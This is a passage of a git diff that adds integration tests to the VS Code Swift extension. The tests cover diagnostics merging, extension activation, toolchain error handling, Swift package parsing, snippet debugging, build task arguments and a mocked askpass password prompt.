workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // check SourceKit merged in + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + // cleaned swiftc + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + assertWithoutDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + }); + + suite("onlySwiftc", () => { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + suiteSetup(async function () { + resetSettings = await updateSettings({ + "swift.diagnosticsCollection": "onlySwiftc", + }); + }); + + test("merge in swiftc diagnostics", async () => { + // Add initial SourceKit diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // Now provide identical swiftc diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + // check swiftc merged in + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + // ignored SourceKit + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertWithoutDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + + test("ignore SourceKit diagnostics", async () => { + // Provide SourceKit diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // ignored SourceKit + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertWithoutDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + + test("ignore clangd diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics(cUri, DiagnosticsManager.isSwiftc, [ + swiftcClangErrorDiagnostic, + ]); + + // Now provide identical clangd diagnostic + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [clangErrorDiagnostic] + ); + + // check swiftc stayed in + assertHasDiagnostic(cUri, swiftcClangErrorDiagnostic); + // clangd ignored + assertWithoutDiagnostic(cUri, clangErrorDiagnostic); + }); + + test("clean old SourceKit diagnostics", async () => { + // Add initial SourceKit diagnostics + workspaceContext.diagnostics.allDiagnostics.set(mainUri.fsPath, [ + sourcekitErrorDiagnostic, + sourcekitWarningDiagnostic, + ]); + + // Now change to onlySwiftc and provide identical swiftc diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + // check swiftc merged in + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + // cleaned SourceKit + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertWithoutDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + }); + + suite("cleanup", () => { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + suiteSetup(async function () { + resetSettings = await updateSettings({ + "swift.diagnosticsCollection": undefined, + }); + }); + + test("SourceKit removes swiftc diagnostic (SourceKit shows first)", async () => { + // Add initial diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + // Have SourceKit indicate some have been fixed + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitWarningDiagnostic] + ); + + // check cleaned up stale error + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + + test("SourceKit removes swiftc diagnostic (swiftc shows first)", async () => { + // Add initial diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // Have SourceKit indicate has been fixed + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [] + ); + + // check cleaned up stale error + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("clangd removes swiftc diagnostic (swiftc shows first)", async () => { + // Add initial diagnostics + workspaceContext.diagnostics.handleDiagnostics(cUri, DiagnosticsManager.isSwiftc, [ + swiftcClangErrorDiagnostic, + ]); + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [clangErrorDiagnostic] + ); + + // Have clangd indicate has been fixed + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [] + ); + + // check cleaned up stale error + assertWithoutDiagnostic(cUri, clangErrorDiagnostic); + assertWithoutDiagnostic(cUri, swiftcClangErrorDiagnostic); + }); + + test("don't remove swiftc diagnostics when SourceKit never matched", async () => { + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitWarningDiagnostic] + ); + + // Should not have cleaned up swiftc error + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + }); + }); +}); diff --git a/test/integration-tests/ExtensionActivation.test.ts b/test/integration-tests/ExtensionActivation.test.ts new file mode 100644 index 000000000..14ccfc21f --- /dev/null +++ b/test/integration-tests/ExtensionActivation.test.ts @@ -0,0 +1,138 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2022 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { afterEach } from "mocha"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; + +import { testAssetUri } from "../fixtures"; +import { tag } from "../tags"; +import { assertContains } from "./testexplorer/utilities"; +import { + activateExtension, + activateExtensionForSuite, + activateExtensionForTest, + deactivateExtension, +} from "./utilities/testutilities"; + +tag("medium").suite("Extension Activation/Deactivation Tests", () => { + suite("Extension Activation", () => { + afterEach(async () => { + await deactivateExtension(); + }); + + async function activate(currentTest?: Mocha.Test) { + assert.ok(await activateExtension(currentTest), "Extension did not return its API"); + const ext = vscode.extensions.getExtension("swiftlang.swift-vscode"); + assert.ok(ext, "Extension is not found"); + assert.strictEqual(ext.isActive, true); + } + + test("Activation", async function () { + await activate(this.test as Mocha.Test); + }); + + test("Duplicate Activation", async function () { + await activate(this.test as Mocha.Test); + // eslint-disable-next-line @typescript-eslint/no-floating-promises + assert.rejects(activateExtension(this.test as Mocha.Test), err => { + const msg = (err as unknown as any).message; + return ( + msg.includes("Extension is already activated") && + msg.includes((this.test as Mocha.Test)?.titlePath().join(" → ")) + ); + }); + }); + }); + + test("Deactivation", async function () { + const workspaceContext = await activateExtension(this.test as Mocha.Test); + await deactivateExtension(); + const ext = vscode.extensions.getExtension("swiftlang.swift-vscode"); + assert(ext); + assert.equal(workspaceContext.subscriptions.length, 0); + }); + + suite("Extension Activation per suite", () => { + let workspaceContext: WorkspaceContext | undefined; + let capturedWorkspaceContext: WorkspaceContext | undefined; + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + test("Assert workspace context is created", () => { + assert.ok(workspaceContext); + capturedWorkspaceContext = workspaceContext; + }); + + test("Assert workspace context is not recreated", () => { + assert.strictEqual(workspaceContext, capturedWorkspaceContext); + }); + }); + + suite("Extension activation per test", () => { + let workspaceContext: WorkspaceContext | undefined; + let capturedWorkspaceContext: WorkspaceContext | undefined; + activateExtensionForTest({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + test("Assert workspace context is created", () => { + assert.ok(workspaceContext); + capturedWorkspaceContext = workspaceContext; + }); + + test("Assert workspace context is recreated per test", () => { + assert.notStrictEqual(workspaceContext, capturedWorkspaceContext); + }); + }); + + suite("Activates for cmake projects", function () { + let workspaceContext: WorkspaceContext; + + activateExtensionForTest({ + async setup(ctx) { + workspaceContext = ctx; + }, + testAssets: ["cmake", "cmake-compile-flags"], + }); + + test("compile_commands.json", async () => { + const folder = workspaceContext.folders[0]; + assert(folder); + + const languageClient = workspaceContext.languageClientManager.get(folder); + const lspWorkspaces = languageClient.subFolderWorkspaces.map( + ({ folder }) => folder.fsPath + ); + assertContains(lspWorkspaces, testAssetUri("cmake").fsPath); + }); + + test("compile_flags.txt", async () => { + const folder = workspaceContext.folders[0]; + assert(folder); + + const languageClient = workspaceContext.languageClientManager.get(folder); + const lspWorkspaces = languageClient.subFolderWorkspaces.map( + ({ folder }) => folder.fsPath + ); + assertContains(lspWorkspaces, testAssetUri("cmake-compile-flags").fsPath); + }); + }); +}); diff --git a/test/integration-tests/FolderContext.test.ts b/test/integration-tests/FolderContext.test.ts new file mode 100644 index 000000000..c1e624486 --- /dev/null +++ b/test/integration-tests/FolderContext.test.ts @@ -0,0 +1,178 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { afterEach } from "mocha"; +import { restore, stub } from "sinon"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import * as toolchain from "@src/ui/ToolchainSelection"; + +import { MockedFunction, mockGlobalValue } from "../MockUtils"; +import { testAssetUri } from "../fixtures"; +import { activateExtensionForSuite, getRootWorkspaceFolder } from "./utilities/testutilities"; + +suite("FolderContext Error Handling Test Suite", () => { + let workspaceContext: WorkspaceContext; + let folderContext: FolderContext | undefined; + let swiftToolchainCreateStub: MockedFunction; + const showToolchainError = mockGlobalValue(toolchain, "showToolchainError"); + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + this.timeout(60000); + }, + testAssets: ["defaultPackage"], + }); + + afterEach(() => { + folderContext?.dispose(); + restore(); + }); + + test("handles SwiftToolchain.create failure gracefully with user dismissal", async () => { + const mockError = new Error("Mock toolchain failure"); + swiftToolchainCreateStub = stub(SwiftToolchain, "create").throws(mockError); + + // Mock showToolchainError to return false (user dismissed dialog) + const showToolchainErrorStub = stub().resolves(false); + showToolchainError.setValue(showToolchainErrorStub); + + const workspaceFolder = getRootWorkspaceFolder(); + const testFolder = testAssetUri("package2"); + + folderContext = await FolderContext.create(testFolder, workspaceFolder, workspaceContext); + + assert.ok(folderContext, "FolderContext should be created despite toolchain failure"); + assert.strictEqual( + folderContext.toolchain, + workspaceContext.globalToolchain, + "Should fallback to global toolchain when user dismisses dialog" + ); + + const errorLogs = workspaceContext.logger.logs.filter( + log => + log.includes("Failed to discover Swift toolchain") && + log.includes("package2") && + log.includes("Mock toolchain failure") + ); + assert.ok(errorLogs.length > 0, "Should log error message with folder context"); + + assert.ok( + swiftToolchainCreateStub.calledWith( + workspaceContext.extensionContext.extensionPath, + testFolder + ), + "Should attempt to create toolchain for specific folder" + ); + assert.strictEqual( + swiftToolchainCreateStub.callCount, + 1, + "Should only call SwiftToolchain.create once when user dismisses" + ); + }); + + test("retries toolchain creation when user makes selection and succeeds", async () => { + const workspaceFolder = getRootWorkspaceFolder(); + const testFolder = testAssetUri("package2"); + + // Arrange: Mock SwiftToolchain.create to fail first time, succeed second time + swiftToolchainCreateStub = stub(SwiftToolchain, "create"); + swiftToolchainCreateStub.onFirstCall().throws(new Error("Initial toolchain failure")); + swiftToolchainCreateStub + .onSecondCall() + .returns(Promise.resolve(workspaceContext.globalToolchain)); + + // Mock showToolchainError to return true (user made selection) + const showToolchainErrorStub = stub().resolves(true); + showToolchainError.setValue(showToolchainErrorStub); + + folderContext = await FolderContext.create(testFolder, workspaceFolder, workspaceContext); + + // Assert: FolderContext should be created successfully + assert.ok(folderContext, "FolderContext should be created after retry"); + assert.strictEqual( + folderContext.toolchain, + workspaceContext.globalToolchain, + "Should use successfully created toolchain after retry" + ); + + // Assert: SwiftToolchain.create should be called twice (initial + retry) + assert.strictEqual( + swiftToolchainCreateStub.callCount, + 2, + "Should retry toolchain creation after user selection" + ); + + // Assert: Should log both failure and success + const failureLogs = workspaceContext.logger.logs.filter(log => + log.includes("Failed to discover Swift toolchain for package2") + ); + const successLogs = workspaceContext.logger.logs.filter(log => + log.includes("Successfully created toolchain for package2 after user selection") + ); + + assert.ok(failureLogs.length > 0, "Should log initial failure"); + assert.ok(successLogs.length > 0, "Should log success after retry"); + }); + + test("retries toolchain creation when user makes selection but still fails", async () => { + const workspaceFolder = getRootWorkspaceFolder(); + const testFolder = testAssetUri("package2"); + + const initialError = new Error("Initial toolchain failure"); + const retryError = new Error("Retry toolchain failure"); + swiftToolchainCreateStub = stub(SwiftToolchain, "create"); + swiftToolchainCreateStub.onFirstCall().throws(initialError); + swiftToolchainCreateStub.onSecondCall().throws(retryError); + + // Mock showToolchainError to return true (user made selection) + const showToolchainErrorStub = stub().resolves(true); + showToolchainError.setValue(showToolchainErrorStub); + + folderContext = await FolderContext.create(testFolder, workspaceFolder, workspaceContext); + + assert.ok( + folderContext, + "FolderContext should be created with fallback after retry failure" + ); + assert.strictEqual( + folderContext.toolchain, + workspaceContext.globalToolchain, + "Should fallback to global toolchain when retry also fails" + ); + + assert.strictEqual( + swiftToolchainCreateStub.callCount, + 2, + "Should retry toolchain creation after user selection" + ); + + const initialFailureLogs = workspaceContext.logger.logs.filter(log => + log.includes( + "Failed to discover Swift toolchain for package2: Error: Initial toolchain failure" + ) + ); + const retryFailureLogs = workspaceContext.logger.logs.filter(log => + log.includes( + "Failed to create toolchain for package2 even after user selection: Error: Retry toolchain failure" + ) + ); + + assert.ok(initialFailureLogs.length > 0, "Should log initial failure"); + assert.ok(retryFailureLogs.length > 0, "Should log retry failure"); + }); +}); diff --git a/test/integration-tests/SwiftPackage.test.ts b/test/integration-tests/SwiftPackage.test.ts new file mode 100644 index 000000000..4560e4cc0 --- /dev/null +++ b/test/integration-tests/SwiftPackage.test.ts @@ -0,0 +1,83 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; + +import { SwiftPackage } from "@src/SwiftPackage"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { testAssetUri } from "../fixtures"; +import { tag } from "../tags"; + +tag("medium").suite("SwiftPackage Test Suite", function () { + let toolchain: SwiftToolchain; + + setup(async () => { + toolchain = await SwiftToolchain.create("/path/to/extension"); + }); + + test("No package", async () => { + const spmPackage = await SwiftPackage.create(testAssetUri("empty-folder"), toolchain); + assert.strictEqual(await spmPackage.foundPackage, false); + }); + + test("Invalid package", async () => { + const spmPackage = await SwiftPackage.create(testAssetUri("invalid-package"), toolchain); + assert.strictEqual(await spmPackage.foundPackage, true); + assert.strictEqual(await spmPackage.isValid, false); + }); + + test("Library package", async () => { + const spmPackage = await SwiftPackage.create(testAssetUri("package2"), toolchain); + assert.strictEqual(await spmPackage.isValid, true); + assert.strictEqual((await spmPackage.libraryProducts).length, 1); + assert.strictEqual((await spmPackage.libraryProducts)[0].name, "package2"); + assert.strictEqual((await spmPackage.dependencies).length, 0); + assert.strictEqual((await spmPackage.targets).length, 2); + }); + + test("Package resolve v2", async function () { + if (!toolchain) { + return; + } + if ( + (process.platform === "win32" && + toolchain.swiftVersion.isLessThan(new Version(6, 0, 0))) || + toolchain.swiftVersion.isLessThan(new Version(5, 6, 0)) + ) { + this.skip(); + } + const spmPackage = await SwiftPackage.create(testAssetUri("package5.6"), toolchain); + assert.strictEqual(await spmPackage.isValid, true); + assert(spmPackage.resolved !== undefined); + }); + + test("Identity case-insensitivity", async () => { + const spmPackage = await SwiftPackage.create(testAssetUri("identity-case"), toolchain); + assert.strictEqual(await spmPackage.isValid, true); + assert.strictEqual((await spmPackage.dependencies).length, 1); + assert(spmPackage.resolved !== undefined); + assert.strictEqual(spmPackage.resolved.pins.length, 1); + assert.strictEqual(spmPackage.resolved.pins[0].identity, "yams"); + }); + + test("Identity different from name", async () => { + const spmPackage = await SwiftPackage.create(testAssetUri("identity-different"), toolchain); + assert.strictEqual(await spmPackage.isValid, true); + assert.strictEqual((await spmPackage.dependencies).length, 1); + assert(spmPackage.resolved !== undefined); + assert.strictEqual(spmPackage.resolved.pins.length, 1); + assert.strictEqual(spmPackage.resolved.pins[0].identity, "swift-log"); + }); +}); diff --git a/test/integration-tests/SwiftSnippet.test.ts b/test/integration-tests/SwiftSnippet.test.ts new file mode 100644 index 000000000..d644126f8 --- /dev/null +++ b/test/integration-tests/SwiftSnippet.test.ts @@ -0,0 +1,131 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { realpathSync } from "fs"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { Version } from "@src/utilities/version"; + +import { testAssetUri } from "../fixtures"; +import { tag } from "../tags"; +import { closeAllEditors } from "../utilities/commands"; +import { + continueSession, + waitForDebugAdapterRequest, + waitUntilDebugSessionTerminates, +} from "../utilities/debug"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "./utilities/testutilities"; + +tag("large").suite("SwiftSnippet Test Suite", function () { + const uri = testAssetUri("defaultPackage/Snippets/hello.swift"); + const breakpoints = [ + new vscode.SourceBreakpoint(new vscode.Location(uri, new vscode.Position(2, 0))), + ]; + let workspaceContext: WorkspaceContext; + let resetSettings: (() => Promise) | undefined; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + + const folder = await folderInRootWorkspace("defaultPackage", workspaceContext); + if (folder.toolchain.swiftVersion.isLessThan(new Version(5, 10, 0))) { + this.skip(); + } + resetSettings = await updateSettings({ + "swift.debugger.debugAdapter": "lldb-dap", + }); + + // File needs to be open for command to be enabled + await workspaceContext.focusFolder(folder); + await vscode.window.showTextDocument(uri); + + // Set a breakpoint + vscode.debug.addBreakpoints(breakpoints); + }, + requiresDebugger: true, + }); + + suiteTeardown(async () => { + await closeAllEditors(); + vscode.debug.removeBreakpoints(breakpoints); + if (resetSettings) { + await resetSettings(); + } + }); + + test("Run `Swift: Run Swift Snippet` command for snippet file", async () => { + const sessionPromise = waitUntilDebugSessionTerminates("Run hello"); + + const succeeded = await vscode.commands.executeCommand(Commands.RUN_SNIPPET, "hello"); + + expect(succeeded).to.be.true; + const session = await sessionPromise; + expect(vscode.Uri.file(session.configuration.program).fsPath).to.equal( + realpathSync( + testAssetUri( + "defaultPackage/.build/debug/hello" + + (process.platform === "win32" ? ".exe" : "") + ).fsPath + ) + ); + expect(session.configuration).to.have.property("noDebug", true); + }); + + test("Run `Swift: Debug Swift Snippet` command for snippet file", async () => { + const bpPromise = waitForDebugAdapterRequest( + "Run hello", + workspaceContext.globalToolchain.swiftVersion, + "stackTrace" + ); + const sessionPromise = waitUntilDebugSessionTerminates("Run hello"); + + const succeededPromise: Thenable = vscode.commands.executeCommand( + Commands.DEBUG_SNIPPET, + "hello" + ); + + // Once bp is hit, continue + await bpPromise; + let succeeded = false; + void succeededPromise.then(s => (succeeded = s)); + while (!succeeded) { + try { + await continueSession(); + } catch { + // Ignore + } + await new Promise(r => setTimeout(r, 500)); + } + + expect(succeeded).to.be.true; + + const session = await sessionPromise; + expect(vscode.Uri.file(session.configuration.program).fsPath).to.equal( + realpathSync( + testAssetUri( + "defaultPackage/.build/debug/hello" + + (process.platform === "win32" ? ".exe" : "") + ).fsPath + ) + ); + expect(session.configuration).to.not.have.property("noDebug"); + }); +}); diff --git a/test/integration-tests/WorkspaceContext.test.ts b/test/integration-tests/WorkspaceContext.test.ts new file mode 100644 index 000000000..6dfe8dc6d --- /dev/null +++ b/test/integration-tests/WorkspaceContext.test.ts @@ -0,0 +1,236 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2022 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { afterEach } from "mocha"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { FolderOperation, WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { resolveScope } from "@src/utilities/tasks"; +import { Version } from "@src/utilities/version"; + +import { testAssetUri } from "../fixtures"; +import { tag } from "../tags"; +import { assertContains } from "./testexplorer/utilities"; +import { + activateExtensionForSuite, + getRootWorkspaceFolder, + updateSettings, +} from "./utilities/testutilities"; + +function assertContainsArg(execution: SwiftExecution, arg: string) { + assert(execution?.args.find(a => a === arg)); +} + +function assertNotContainsArg(execution: SwiftExecution, arg: string) { + assert.equal( + execution?.args.find(a => a.includes(arg)), + undefined + ); +} + +tag("medium").suite("WorkspaceContext Test Suite", () => { + let workspaceContext: WorkspaceContext; + const packageFolder: vscode.Uri = testAssetUri("defaultPackage"); + + suite("Folder Events", () => { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + // No default assets as we want to verify against a clean workspace. + testAssets: ["defaultPackage"], + }); + + test("Add", async () => { + let observer: vscode.Disposable | undefined; + const recordedFolders: { + folder: FolderContext | null; + operation: FolderOperation; + }[] = []; + + try { + observer = workspaceContext.onDidChangeFolders(changedFolderRecord => { + recordedFolders.push(changedFolderRecord); + }); + + const workspaceFolder = getRootWorkspaceFolder(); + + assert.ok(workspaceFolder, "No workspace folders found in workspace"); + + await workspaceContext.addPackageFolder(testAssetUri("package2"), workspaceFolder); + + const foldersNamePromises = recordedFolders + .map(({ folder }) => folder?.swiftPackage.name) + .filter(f => !!f); + const foldersNames = await Promise.all(foldersNamePromises); + assertContains(foldersNames, "package2"); + + const addedCount = recordedFolders.filter( + ({ operation }) => operation === FolderOperation.add + ).length; + assert.strictEqual( + addedCount, + 1, + `Expected only one add folder operation, instead got folders: ${recordedFolders.map(folder => folder.folder?.name)}` + ); + } finally { + observer?.dispose(); + } + }); + }); + + suite("Tasks", function () { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + let resetSettings: (() => Promise) | undefined; + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + test("Default Task values", async () => { + const folder = workspaceContext.folders.find( + f => f.folder.fsPath === packageFolder.fsPath + ); + assert(folder); + resetSettings = await updateSettings({ + "swift.diagnosticsStyle": "", + }); + const buildAllTask = await createBuildAllTask(folder); + const execution = buildAllTask.execution; + assert.strictEqual(buildAllTask.definition.type, "swift"); + assert.strictEqual(buildAllTask.name, "Build All (defaultPackage)"); + assertContainsArg(execution, "build"); + assertContainsArg(execution, "--build-tests"); + assert.strictEqual(buildAllTask.scope, resolveScope(folder.workspaceFolder)); + }); + + test('"default" diagnosticsStyle', async () => { + const folder = workspaceContext.folders.find( + f => f.folder.fsPath === packageFolder.fsPath + ); + assert(folder); + resetSettings = await updateSettings({ + "swift.diagnosticsStyle": "default", + }); + const buildAllTask = await createBuildAllTask(folder); + const execution = buildAllTask.execution; + assert.strictEqual(buildAllTask.definition.type, "swift"); + assert.strictEqual(buildAllTask.name, "Build All (defaultPackage)"); + assertContainsArg(execution, "build"); + assertContainsArg(execution, "--build-tests"); + assertNotContainsArg(execution, "-diagnostic-style"); + assert.strictEqual(buildAllTask.scope, resolveScope(folder.workspaceFolder)); + }); + + test('"swift" diagnosticsStyle', async () => { + const folder = workspaceContext.folders.find( + f => f.folder.fsPath === packageFolder.fsPath + ); + assert(folder); + resetSettings = await updateSettings({ + "swift.diagnosticsStyle": "swift", + }); + const buildAllTask = await createBuildAllTask(folder); + const execution = buildAllTask.execution; + assert.strictEqual(buildAllTask.definition.type, "swift"); + assert.strictEqual(buildAllTask.name, "Build All (defaultPackage)"); + assertContainsArg(execution, "build"); + assertContainsArg(execution, "--build-tests"); + assertContainsArg(execution, "-Xswiftc"); + assertContainsArg(execution, "-diagnostic-style=swift"); + assert.strictEqual(buildAllTask.scope, resolveScope(folder.workspaceFolder)); + }); + + test("Build Settings", async () => { + const folder = workspaceContext.folders.find( + f => f.folder.fsPath === packageFolder.fsPath + ); + assert(folder); + resetSettings = await updateSettings({ + "swift.diagnosticsStyle": "", + "swift.buildArguments": ["--sanitize=thread"], + }); + const buildAllTask = await createBuildAllTask(folder); + const execution = buildAllTask.execution as SwiftExecution; + assertContainsArg(execution, "--sanitize=thread"); + }); + + test("Package Arguments Settings", async () => { + const folder = workspaceContext.folders.find( + f => f.folder.fsPath === packageFolder.fsPath + ); + assert(folder); + resetSettings = await updateSettings({ + "swift.diagnosticsStyle": "", + "swift.packageArguments": ["--replace-scm-with-registry"], + }); + const buildAllTask = await createBuildAllTask(folder); + const execution = buildAllTask.execution as SwiftExecution; + assertContainsArg(execution, "--replace-scm-with-registry"); + }); + }); + + suite("Toolchain", function () { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + tag("small").test("get project templates", async () => { + // This is only supported in swift versions >=5.8.0 + const swiftVersion = workspaceContext.globalToolchain.swiftVersion; + if (swiftVersion.isLessThan(new Version(5, 8, 0))) { + assert.deepEqual(await workspaceContext.globalToolchain.getProjectTemplates(), []); + return; + } + // The output of `swift package init --help` will probably change at some point. + // Just make sure that the most complex portions of the output are parsed correctly. + const projectTemplates = await workspaceContext.globalToolchain.getProjectTemplates(); + // Contains multi-line description + const toolTemplate = projectTemplates.find(template => template.id === "tool"); + assert(toolTemplate); + assert.deepEqual(toolTemplate, { + id: "tool", + name: "Tool", + description: + "A package with an executable that uses Swift Argument Parser. Use this template if you plan to have a rich set of command-line arguments.", + }); + // build-tool-plugin is only available in swift versions >=5.9.0 + if (swiftVersion.isLessThan(new Version(5, 9, 0))) { + return; + } + // Name conversion includes dashes + const buildToolPluginTemplate = projectTemplates.find( + t => t.id === "build-tool-plugin" + ); + assert(buildToolPluginTemplate); + assert.deepEqual(buildToolPluginTemplate, { + id: "build-tool-plugin", + name: "Build Tool Plugin", + description: "A package that vends a build tool plugin.", + }); + }); + }); +}); diff --git a/test/integration-tests/askpass/askpass.test.ts b/test/integration-tests/askpass/askpass.test.ts new file mode 100644 index 000000000..d1c392cd5 --- /dev/null +++ b/test/integration-tests/askpass/askpass.test.ts @@ -0,0 +1,112 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { withAskpassServer } from "@src/askpass/askpass-server"; +import { execFile } from "@src/utilities/utilities"; + +import { mockGlobalObject } from "../../MockUtils"; +import { assetPath, distPath } from "../../fixtures"; + +suite("Askpass Test Suite", () => { + const mockedWindow = mockGlobalObject(vscode, "window"); + const askpassMain = distPath("src/askpass/askpass-main.js"); + const askpassScript = assetPath("swift_askpass.sh"); + + setup(function () { + // The shell script we use won't work on Windows + if (!["darwin", "linux"].includes(process.platform)) { + this.skip(); + } + }); + + test("should prompt the user to enter their password", async () => { + mockedWindow.showInputBox.resolves("super secret password"); + + const output = await withAskpassServer(async (nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }); + + expect(output.stdout.trim()).to.equal("super secret password"); + }); + + test("should allow the user to cancel the password input", async () => { + mockedWindow.showInputBox.resolves(undefined); + + const askpassPromise = withAskpassServer(async (nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + 